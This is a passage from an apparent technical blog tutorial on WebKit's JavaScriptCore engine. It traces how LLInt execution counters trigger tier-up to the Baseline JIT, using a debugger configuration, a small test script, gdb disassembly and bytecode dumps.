</span></span><span style="display:flex;"><span>v(Int32, thresholdForJITSoon, <span style="color:#ae81ff">100</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span><span style="display:flex;"><span>\
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>v(Int32, executionCounterIncrementForLoop, <span style="color:#ae81ff">1</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span><span style="display:flex;"><span>v(Int32, executionCounterIncrementForEntry, <span style="color:#ae81ff">15</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span></code></pre></div><p>The execution counters that track these values are defined in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/ExecutionCounter.h#L106">ExecutionCounter.h</a>. The snippet below shows the three key counters that are referenced and updated by the LLInt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">// This counter is incremented by the JIT or LLInt. It starts out negative and is
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// counted up until it becomes non-negative. At the start of a counting period,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// the threshold we wish to reach is m_totalCount + m_counter, in the sense that
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// we will add X to m_totalCount and subtract X from m_counter.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">int32_t</span> m_counter;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Counts the total number of executions we have seen plus the ones we&#39;ve set a
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// threshold for in m_counter. Because m_counter&#39;s threshold is negative, the
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// total number of actual executions can always be computed as m_totalCount +
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// m_counter.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">float</span> m_totalCount;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// This is the threshold we were originally targeting, without any correction for
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// the memory usage heuristics.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">int32_t</span> m_activeThreshold;
</span></span></code></pre></div><p>Each <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecode/CodeBlock.h">CodeBlock</a> parsed by the engine instantiates two ExecutionCounter objects. These are the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeBlock.h#L1047"><code>m_llintExecuteCounter</code></a> and the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeBlock.h#L1049"><code>m_jitExecuteCounter</code></a>. The <code>m_llintExecuteCounter</code> is most relevant for this blog post as it determines the threshold to tier up into the Baseline JIT.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    BaselineExecutionCounter m_llintExecuteCounter;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    BaselineExecutionCounter m_jitExecuteCounter;
</span></span></code></pre></div><p>With the understanding of how thresholds work, lets trace this in the code base to better understand this behaviour. To being, enable the Baseline JIT in <code>launch.json</code> to allow the LLInt to tier up and at the same time ensure that the optimising tiers are disabled. This is done by removing the <code>--useJIT=false</code> flag and adding the <code>--useDFGJIT=false</code> flag to the commandline arguments. The <code>launch.json</code> should look as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;version&#34;</span>: <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;configurations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;request&#34;</span>: <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [<span style="color:#e6db74">&#34;--reportCompileTimes=true&#34;</span>, <span style="color:#e6db74">&#34;--dumpGeneratedBytecodes=true&#34;</span>, <span style="color:#e6db74">&#34;--useDFGJIT=false&#34;</span>, <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In addition, also add the <code>--reportCompileTimes=true</code> flag to log a notification to <em>stdout</em> when <code>CodeBlock</code> is compiled by the Baseline JIT and other tiers. Now that the debugging environment has been updated, lets create the following test script to trigger baseline compilation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">300</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In the javascript program above, our goal is to attempt to execute the function <code>jitMe</code> over several iterations of the for-loop in order for it to be optimised by the Baseline JIT. The LLInt determines when a function/codeblock should be optimised with the call the macro <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1341"><code>checkSwitchToJIT</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro checkSwitchToJIT(increment, action)
</span></span><span style="display:flex;"><span>    loadp CodeBlock[cfr], t0
</span></span><span style="display:flex;"><span>    baddis increment, CodeBlock<span style="color:#f92672">::</span>m_llintExecuteCounter <span style="color:#f92672">+</span> BaselineExecutionCounter<span style="color:#f92672">::</span>m_counter[t0], .<span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>    action()
</span></span><span style="display:flex;"><span>    .<span style="color:#66d9ef">continue</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>Setting a breakpoint at this macro allows examining the counter values in the debugger. Pausing execution at this breakpoint and listing of instructions is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Thread</span> <span style="color:#ae81ff">1</span> <span style="color:#e6db74">&#34;jsc&#34;</span> <span style="color:#a6e22e">hit</span> <span style="color:#a6e22e">Breakpoint</span> <span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">llint_op_ret</span> () <span style="color:#a6e22e">at</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">amar</span><span style="color:#f92672">/</span><span style="color:#a6e22e">workspace</span><span style="color:#f92672">/</span><span style="color:#a6e22e">WebKit</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Source</span><span style="color:#f92672">/</span><span style="color:#a6e22e">JavaScriptCore</span><span style="color:#f92672">/</span><span style="color:#a6e22e">llint</span><span style="color:#f92672">/</span><span style="color:#a6e22e">LowLevelInterpreter</span>.<span style="color:#a6e22e">asm</span><span style="color:#f92672">:</span><span style="color:#ae81ff">1273</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1273</span>        <span style="color:#a6e22e">baddis</span> <span style="color:#a6e22e">increment</span>, <span style="color:#a6e22e">CodeBlock</span><span style="color:#f92672">::</span><span style="color:#a6e22e">m_llintExecuteCounter</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">BaselineExecutionCounter</span><span style="color:#f92672">::</span><span style="color:#a6e22e">m_counter</span>[<span style="color:#a6e22e">t0</span>], .<span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span><span style="color:#a6e22e">exec</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">/</span><span style="color:#ae81ff">4</span><span style="color:#a6e22e">i</span> <span style="color:#a6e22e">$rip</span>
</span></span><span style="display:flex;"><span>=&gt; <span style="color:#ae81ff">0x7ffff4e71e1c</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_ret</span><span style="color:#f92672">+</span><span style="color:#ae81ff">47</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">DWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rax</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0xe8</span>],<span style="color:#ae81ff">0xa</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7ffff4e71e23</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_ret</span><span style="color:#f92672">+</span><span style="color:#ae81ff">54</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">js</span>     <span style="color:#ae81ff">0x7ffff4e71e50</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_ret</span><span style="color:#f92672">+</span><span style="color:#ae81ff">99</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7ffff4e71e25</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_ret</span><span style="color:#f92672">+</span><span style="color:#ae81ff">56</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">r8</span>,<span style="color:#a6e22e">r13</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7ffff4e71e28</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">llint_op_ret</span><span style="color:#f92672">+</span><span style="color:#ae81ff">59</span><span style="color:#f92672">&gt;:</span>    <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">rdi</span>,<span style="color:#a6e22e">rbp</span>
</span></span></code></pre></div><p>The memory address pointed to by <code>rax+0xe8</code> is the value of <code>m_counter</code> which has a value of -500 and is incremented by a value of 15 (0xa). When this value reaches zero, it triggers Baseline optimisation with the call to <code>action</code>. Allowing the program to continue execution in our debugger and run to completion, generates the following output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">CLzrku</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">116</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">28</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">10</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">236</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">18</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">135</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">3</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Optimized</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>] <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">into</span> <span style="color:#ae81ff">960</span> <span style="color:#a6e22e">bytes</span> <span style="color:#66d9ef">in</span> <span style="color:#ae81ff">1.078797</span> <span style="color:#a6e22e">ms</span>.
</span></span></code></pre></div><p>As can be seen from the last line of the output above, the function <code>jitMe</code> has been optimised by the Baseline JIT. The next section will explore both compilation and execution in the Baseline JIT.</p>
<h1 id="baseline-jit">Baseline JIT</h1>
<p>In a nutshell, the Baseline JIT is a template JIT and what that means is that it generates specific machine code for the bytecode operation. There are two key factors that allow the Baseline JIT a speed up over the LLInt<sup id="fnref4:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>:</p>
<blockquote>
<ul>
<li>Removal of interpreter dispatch. Interpreter dispatch is the costliest part of interpretation, since the indirect branches used for selecting the implementation of an opcode are hard for the CPU to predict. This is the primary reason why Baseline is faster than LLInt.</li>
<li>Comprehensive support for polymorphic inline caching. It is possible to do sophisticated inline caching in an interpreter, but currently our best inline caching implementation is the one shared by the JITs.</li>
</ul>
</blockquote>
<p>The following sections will trace how the execution thresholds are reached, how execution transitions from LLInt to the Baseline JIT code via OSR (On Stack Replacement) and the assembly emitted by the Baseline JIT.</p>
<h2 id="implementation-1">Implementation</h2>
<p>Majority of the code for the Baseline JIT can be found under <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/jit">JavaScriptCore/jit</a>. The JIT ABI is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/jit/JIT.h">JIT.h</a> which will be a key item to review as part of the Baseline JIT and defines the various optimised templates for opcodes.</p>
<p>The Baseline JIT templates call assemblers defined in <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/assembler">JavaScriptCore/assembler</a> to emit machine code for the target architecture. For example the assemblers used to emit machine code for x86 architectures can be found under <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/assembler/MacroAssemblerX86_64.h">MacroAssemblerX86_64.h</a> and <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/assembler/X86Assembler.h">X86Assembler.h</a></p>
<h2 id="tracing-execution-1">Tracing Execution</h2>
<p>To enhance tracing in the Baseline JIT one can enable the <code>--verboseOSR=true</code> commandline flag in our <code>launch.json</code>. This flag will enable printing of useful information on the stages of optimisation from the LLInt to the Baseline JIT. The key statistic being the threshold counts for tiering up. Here&rsquo;s an example of what the output with <code>verboseOSR</code> enabled would look like when executing out test script from the previous section:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Installing</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">CLzrku</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">LLIntGlobal</span>, <span style="color:#ae81ff">116</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Optimizing</span> <span style="color:#a6e22e">after</span> <span style="color:#a6e22e">warm</span><span style="color:#f92672">-</span><span style="color:#a6e22e">up</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">bytecode</span> <span style="color:#a6e22e">cost</span> <span style="color:#a6e22e">is</span> <span style="color:#ae81ff">15.000000</span>, <span style="color:#a6e22e">scaling</span> <span style="color:#a6e22e">execution</span> <span style="color:#a6e22e">counter</span> <span style="color:#a6e22e">by</span> <span style="color:#ae81ff">1.072115</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">135</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">3</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Installing</span> <span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Entered</span> <span style="color:#a6e22e">entry_osr_function_for_call</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">executeCounter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">500.001038</span><span style="color:#f92672">/</span><span style="color:#ae81ff">500.000000</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AQcl4Q</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">LLIntFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#a6e22e">Entered</span> <span style="color:#a6e22e">replace</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">executeCounter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">100.000214</span><span style="color:#f92672">/</span><span style="color:#ae81ff">100.000000</span>, <span style="color:#ae81ff">0</span>
